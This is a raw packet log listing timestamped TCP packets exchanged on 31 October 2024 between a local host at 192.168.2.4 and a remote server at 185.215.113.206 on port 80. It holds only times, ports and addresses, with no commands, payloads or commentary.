Oct 31, 2024 07:14:32.752722979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752768993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752793074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752794027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752804041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752815008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752847910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752854109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752866030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752876997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752887011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752892017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752903938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752922058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752932072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752950907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752989054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753048897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753061056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753076077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753086090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753102064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753104925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753118038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753128052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753130913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753138065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753150940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753155947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753165960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753176928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753187895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753191948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753225088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753235102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753235102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753278017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753326893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753338099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753349066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753360033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753370047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753376007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753402948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753422022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753424883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753434896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753448009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753464937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753477097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753479004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753505945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753520012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753551006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753563881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753597975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753631115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753642082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753652096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753686905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753698111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753709078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753712893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753720999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753731966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753741980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753768921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753803015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753814936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753824949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753834963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753845930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753885031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753904104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753922939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753922939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753935099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753946066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753951073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753977060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.753982067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.753994942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754004955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754018068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.754057884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754070044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.754070044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754086971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754096985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.754126072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.754126072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.754158974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.794604063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794615030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794620037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794650078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794656038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794661999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794667006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794672012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794694901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.794802904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870023966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870043039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870055914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870076895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870089054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870099068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870112896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870114088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870125055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870136976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870187044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870201111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870213985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870246887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870258093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870290041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870295048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870302916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870341063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870368004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870369911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870381117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870424986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870809078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870826006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870837927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870857954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870860100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870870113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870884895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870903969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870913982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870923996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870968103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.870981932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.870992899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871005058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871033907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871037960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871049881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871061087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871071100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871082067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871099949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871109962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871114969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871121883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871166945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871181011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871193886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871237993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871262074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871280909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871293068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871299982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871310949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871315956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871328115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871340036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871347904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871352911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871361971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871375084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871385098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871409893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871429920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871440887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871449947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871475935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871496916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871541023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871551037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871562004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871572018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871582985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871591091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871602058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871611118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871622086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871624947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871635914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871648073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871648073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871659994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871665955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871668100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871682882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871692896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871715069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871726036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871737957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871740103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871772051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871809959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871824026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871850014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871864080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871875048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871881008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871889114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871901989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871906042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871908903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871923923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871936083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871939898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871964931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871973991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.871975899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871983051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.871999025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872019053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872026920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872045040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872078896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872104883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872116089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872122049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872128963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872144938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872155905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872167110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872183084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872186899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872215033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872225046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872234106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872242928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872245073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872277021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872309923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872313976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872324944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872330904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872363091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872373104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872381926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872384071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872396946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872417927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872437954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872503996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872514009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872529984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872539997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872545958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872556925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872565031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872575998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872586012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872586012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872608900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872627974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872633934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872639894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872659922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872663975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872670889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872684002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872704983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872710943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872716904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872728109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872740030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872757912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872761011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872769117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872775078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872786045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872798920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872814894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872838020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872862101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872874022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872883081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872894049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872914076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872920036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872931004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.872948885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.872973919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.873200893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873240948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873249054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.873254061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873291016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.873311996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873322964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873339891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873351097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873361111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873368979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.873373032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873385906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.873392105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.873419046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.913597107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913609028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913619041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913630009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913649082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913659096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913669109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913678885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913688898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.913690090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.913732052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.954746962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.954773903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.954833984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.954859972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.989036083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989120007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989129066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989145041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989156008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989167929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989183903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989193916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.989197016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989207029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989217997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989267111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.989272118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989281893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.989322901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990145922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990156889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990166903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990190983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990206957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990214109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990220070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990231991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990242004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990252018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990252972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990277052 CET	49758	80	192.168.2.4	185.215.113.206
